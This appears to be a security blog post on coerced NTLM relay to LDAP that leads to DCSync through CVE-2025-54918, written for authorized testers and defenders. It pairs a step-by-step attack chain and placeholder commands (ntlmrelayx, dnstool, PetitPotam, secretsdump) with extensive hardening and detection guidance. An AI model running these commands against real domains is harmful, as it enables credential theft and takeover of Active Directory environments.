J. Perez Duertojperezduerto.info

Coerced NTLM relay to LDAP: from a domain foothold to DCSync (CVE-2025-54918)

  • windows
  • active-directory
  • ntlm-relay
  • dcsync
  • hardening

A large share of Active Directory compromises converge on one move: some controlled principal is granted the right to replicate directory secrets, pulls the krbtgt and Administrator hashes with DCSync, and the domain is finished. The question that matters for defenders is how a low-value foothold reaches that grant without ever knowing a privileged password. One durable answer is coerced NTLM relay to LDAP. This post explains the technique from its preconditions, including the signing-flag bypass that CVE-2025-54918 (published 9 September 2025, CVSS 8.8) reopened against otherwise-current domain controllers, and then spends most of its length on the controls that break it.

The starting conditions are modest: a single low-privileged domain account, a reachable coercion surface, and a domain controller whose LDAP is not hardened.

Scope: assumes a position on the network able to coerce a machine account (often a DC) and a domain controller that does not enforce LDAP signing and channel binding. The second half is entirely the controls that break each step.

Coerced NTLM relay to LDAP, ending in DCSync The attacker coerces the domain controller to authenticate to a relay, forwards that authentication to the DC's own LDAP while stripping the signing flags, grants a controlled account replication rights, and then performs DCSync. It works only when LDAP signing and channel binding are not enforced. Attacker relay + controlled account Domain Controller DC$ identity + its LDAP 1 coerce: EfsRpc / spooler, authenticate to me 2 NTLM auth as DC$ (a full domain principal) 3 relay to LDAP: strip SIGN/SEAL, keep LOCAL_CALL CVE-2025-54918 4 grant replication rights 5 DCSync: replicate krbtgt + Administrator works only when the DC's LDAP signing and channel binding are not enforced
Coercion makes the DC authenticate to the attacker; the relay forwards it to the DC's own LDAP with the signing flags stripped (CVE-2025-54918), grants a controlled account replication rights, and DCSync finishes the job. Enforcing LDAP signing and channel binding removes the target entirely.

The conditions and the pieces

NTLM relay, in one paragraph

NTLM authentication can be relayed. An attacker who receives an NTLM authentication intended for one service forwards it to a different service and authenticates there as the coerced principal. The standard defenses are SMB signing (which stops SMB relay) and, for LDAP, LDAP signing plus channel binding, Microsoft's Extended Protection for Authentication. Where LDAP signing is not enforced and channel binding is absent, LDAP is a valid relay target. Many domain controllers still run in that state, because this hardening is not on by default on older builds and has to be deliberately enabled.

Coercion

You do not wait for a useful authentication, you provoke one. Coercion primitives such as MS-EFSRPC (the EfsRpcEncryptFileSrv family, as used by PetitPotam) and the MS-RPRN print-spooler interface make a chosen machine authenticate to a host you control, over SMB, as its machine account. A machine account is a full domain principal, which is the point: you are not phishing a user, you are making a server speak for itself. A domain controller coerced this way authenticates as the DC computer account.

The signing bypass behind CVE-2025-54918

Relaying an NTLM authentication normally fails against a protected LDAP service because the session negotiates signing and sealing, and because the message integrity check (MIC) and target-name binding tie the authentication to its intended destination. Earlier bugs, CVE-2019-1040 and CVE-2025-33073, were attempts to strip or defeat those bindings; current patches reject them.

CVE-2025-54918 is a distinct flaw in how that protection is applied. Public analysis (CrowdStrike, Redfox) describes the core: the attacker manipulates the relayed NTLM authentication, stripping the SIGN and SEAL flags while preserving the LOCAL_CALL flag. With SIGN and SEAL removed, the channel protection no longer blocks the relay; with LOCAL_CALL preserved, the domain controller treats the authentication as a local, SYSTEM-level call and trusts it completely. The result is a relayed session with enough authority to modify the directory even though the coerced machine account's own ACL grants no such right. The September 2025 update closes the handling that allowed it.

From relayed session to DCSync

Once a relayed session can write to the directory with that trust, the escalation is the well-worn LDAP-relay technique (documented by dirkjanm for the CVE-2019-1040 era and automated in Impacket): grant a controlled account the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights on the domain object. Those rights let any holder ask a DC to replicate secrets, which is exactly what legitimate DCs do to one another. The controlled account then performs DCSync, requesting replication of credentials and receiving the NTLM hashes, including krbtgt (golden-ticket capable) and Administrator. Pass-the-hash with the Administrator hash is Domain Admin.

How it chains

  1. Foothold. Any domain account, or a machine account harvested from an owned member server. No privileged rights required; public analysis notes a standard user obtained by spraying or theft is enough.
  2. Set up the relay. Point an NTLM relay listener at the DC's LDAP (ntlmrelayx.py -t ldap://<dc> --escalate-user <controlled-account>), with the signing-flag handling this CVE class requires. If the coerced authentication needs to find your listener by name, an AD-integrated DNS record (placed with a tool like krbrelayx/dnstool) is a common delivery aid.
  3. Coerce. Trigger the DC to authenticate toward your listener with an MS-EFSRPC or spooler coercion. If the DC cannot reach your host directly, relay through a server it can reach and tunnel back; the coercion target and the return path are plumbing, not the vulnerability.
  4. Escalate. The relayed session, trusted as a local SYSTEM call, adds the replication rights to the controlled account. This is the step CVE-2025-54918 makes possible against a patched-elsewhere, LDAP-unhardened DC.
  5. DCSync and done. The controlled account replicates secrets (secretsdump.py -just-dc), yields krbtgt and Administrator, and pass-the-hash gives Domain Admin. The DCSync step itself, its rights, and how to detect and prevent it are covered in DCSync replication abuse; this technique sits in the wider modern Active Directory attack surface.

The tooling for every step is public and third-party: Impacket (ntlmrelayx, secretsdump), krbrelayx/dnstool, and standard coercion scripts such as PetitPotam. The only novel ingredient CVE-2025-54918 adds is the flag manipulation that makes the LDAP relay land; everything around it is a decade-old technique.

Tooling and usage

All public; nothing custom is needed. End to end, with placeholders:

# 1. relay listener -> DC LDAP, grant a controlled account DCSync rights
ntlmrelayx.py -t ldap://<dc> --escalate-user <controlled-account>
#    This CVE class needs the signing-flag / partial-MIC handling; use a build
#    of ntlmrelayx that implements it, or the referenced public PoC, rather than
#    assuming a stock build covers it.

# 2. optional: place an AD-integrated DNS record so the coerced auth finds you
dnstool.py -u 'domain.local\user' -p 'pass' -a add -r <record> -d <attacker-ip> <dc>

# 3. coerce the DC toward the listener (any primitive; see the coercion post)
petitpotam.py -u user -p 'pass' -d domain.local <listener> <dc>

# 4. once the controlled account holds replication rights, dump secrets
secretsdump.py -just-dc 'domain.local/<controlled-account>:pass@<dc>'

Tools: Impacket (ntlmrelayx.py, secretsdump.py), krbrelayx (dnstool.py), and a coercion script (see authentication coercion). The only non-stock piece is the CVE-2025-54918 signing-flag handling in the relay step; track the referenced public PoC for that.

Defense

The chain has several independent chokepoints, and the first two end it regardless of the rest:

  • Enforce LDAP signing and channel binding on every DC (highest leverage). This removes LDAP as a relay target and defeats the whole family, coerced or not, patched or not. Set Domain controller: LDAP server signing requirements to Require signing, and set the LDAP channel-binding token requirement to Always (Extended Protection). Microsoft ships these as hardening you must turn on; run in audit mode first to find legacy clients, then enforce. Confirm current enforcement timelines and registry values against Microsoft's own guidance before rollout.
  • Patch. The September 2025 updates close CVE-2025-54918 specifically; earlier updates close CVE-2019-1040 and CVE-2025-33073. Check the MSRC advisory for the exact affected builds, as public sources disagree on the version range.
  • Cut coercion. Disable the Print Spooler on DCs that do not need it, apply RPC filters to block MS-EFSRPC and MS-RPRN coercion from untrusted sources, and disable the WebClient service where it is not required (it enables HTTP coercion that sidesteps SMB signing).
  • Reduce and contain NTLM. Move toward Kerberos and apply Network security: Restrict NTLM where you can. Segment so arbitrary hosts cannot reach DC SMB and LDAP, which leaves a coerced authentication with nowhere convenient to land.
  • Guard the replication rights directly. DS-Replication-Get-Changes-All should belong only to domain controllers and a tightly controlled set of accounts. Review who holds it, control who may create AD-integrated DNS records (a common relay-delivery aid), and keep DA-equivalent credentials off member servers with tiered administration so the initial foothold has less to harvest.

Detection

The chain is detectable at several points, and the DCSync step is the highest-signal of them:

  • DCSync from a non-DC. On a DC, Security event 4662 showing access to the replication control-access rights (the DS-Replication-Get-Changes / -Get-Changes-All object GUIDs 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 and 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) by a principal that is not a domain controller, or from an unexpected source host, is the clearest single indicator. Legitimate replication comes from DC machine accounts; anything else is suspect. Sigma and vendor rule sets ship this detection.
  • A new replication-rights grant. Security event 5136 (directory object modified) showing an ACE that adds DS-Replication-Get-Changes-All to a user account. That write is the escalation step and should essentially never occur outside controlled administration.
  • Unusual machine-account authentication. A DC machine account authenticating over NTLM to LDAP on a DC, or a burst of machine-account NTLM auths coincident with a coercion, stands out against normal Kerberos-dominated traffic.
  • Coercion calls. RPC calls to the MS-EFSRPC or spooler interfaces from unexpected sources, visible with RPC auditing or network inspection.
  • ADIDNS tampering. Creation of a wildcard or attacker-named AD-integrated DNS record as a relay-delivery step.

As with most AD attacks, the strongest signal is the correlation: a coercion, then a machine-account NTLM authentication to LDAP, then a replication-rights ACE added to a user, then that user replicating, all in a short window. Alert on the DCSync-from-non-DC event even on its own; it catches this technique and many others.

Use

This is for authorized assessment and for the defenders who have to recognize it. The technique and its tooling are public and the enabling CVEs are patched; the value of laying it out whole is that it points straight at the two controls, LDAP signing with channel binding and patching, that turn an entire family of relay attacks into a non-event.

References

Back to all techniques